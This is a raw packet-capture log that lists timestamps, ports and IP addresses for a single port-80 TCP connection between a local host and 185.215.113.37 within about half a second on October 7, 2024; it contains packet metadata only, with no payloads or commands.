Oct 7, 2024 18:03:22.401235104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401247025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401251078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401268959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401283979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401767015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401777983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401787996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401798010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401808977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401814938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401820898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401824951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401834011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401843071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401845932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401854992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401864052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401874065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401874065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401885986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401890993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401896954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401906967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401912928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401940107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401954889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402539015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402549982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402559042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402570009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402578115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402580976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402595043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402600050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402606964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402616978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402626991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402628899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402638912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402647972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402650118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402662992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402671099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402676105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.402688026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.402712107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403351068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403362989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403372049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403382063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403397083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403405905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403407097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403417110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403428078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403429985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403439045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403450012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403450966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403462887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403467894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403474092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403485060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403486013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403496027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403507948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.403518915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.403543949 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.404263973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404275894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404284954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404294968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404305935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404315948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404323101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.404326916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404340029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404347897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404357910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404361010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.404367924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404377937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404382944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404387951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404390097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.404398918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404405117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.404414892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.404436111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524703026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.524755001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524835110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.524847031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.524882078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524899006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.524905920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524913073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.524930000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524954081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.524988890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525000095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525010109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525017977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525021076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525033951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525046110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525079012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525327921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525346041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525361061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525377035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525480986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525491953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525502920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525511026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525527000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525542021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525702953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525783062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525803089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525814056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525825977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525836945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525842905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525847912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525859118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.525883913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.525895119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526196003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526206017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526223898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526231050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526232004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526243925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526254892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526258945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526267052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526278019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526297092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526297092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526316881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526707888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526717901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526726961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526735067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526741028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526751041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526757956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526766062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526766062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526794910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.526983023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.526993990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527004957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527018070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527025938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527034998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527045965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527055979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527056932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527067900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527079105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527081013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527090073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527097940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527113914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527592897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527602911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.527627945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.527642965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.575767040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.580637932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791456938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791522026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791549921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791557074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791582108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791593075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791629076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791632891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791662931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791695118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791703939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791726112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791735888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791762114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791802883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791805029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791835070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791868925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791881084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.791951895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.791994095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792002916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792037010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792042971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792066097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792112112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792135954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792233944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792257071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792289972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792303085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792324066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792329073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792357922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792362928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792391062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792397022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792426109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792444944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792462111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792738914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792773962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792803049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792804956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792814970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792840004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792870998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792872906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.792881966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.792916059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793056965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793090105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793102026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793123960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793131113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793158054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793191910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793205023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793231010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793329000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793365002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793379068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793397903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793406963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793431044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793447018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793466091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793476105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793498039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793512106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793530941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793556929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793565989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793570042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793617010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793865919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793900967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793920994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793932915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793941021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.793966055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.793998003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794014931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794015884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794034004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794065952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794071913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794099092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794128895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794138908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794156075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794172049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794177055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794203997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794214010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794235945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794243097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794275045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794699907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794737101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794754028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794785976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794795036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794819117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794851065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794862986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794883966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794888973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794915915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794948101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794958115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.794979095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.794984102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795012951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795020103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795047045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795057058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795078993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795110941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795115948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795115948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795149088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795154095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795198917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795702934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795737028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795753956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795768976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795773983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795802116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795814037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795835018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795841932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795867920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795874119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795901060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795907021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795933962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795938015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795965910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.795970917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.795999050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.796004057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.796032906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.796036959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.796065092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.796089888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.796098948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.796109915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.796333075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.933259010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.933343887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.934091091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.934143066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975306988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975378036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975399971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975454092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975486994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975487947 CEST	80	49711	185.215.113.37	192.168.2.12
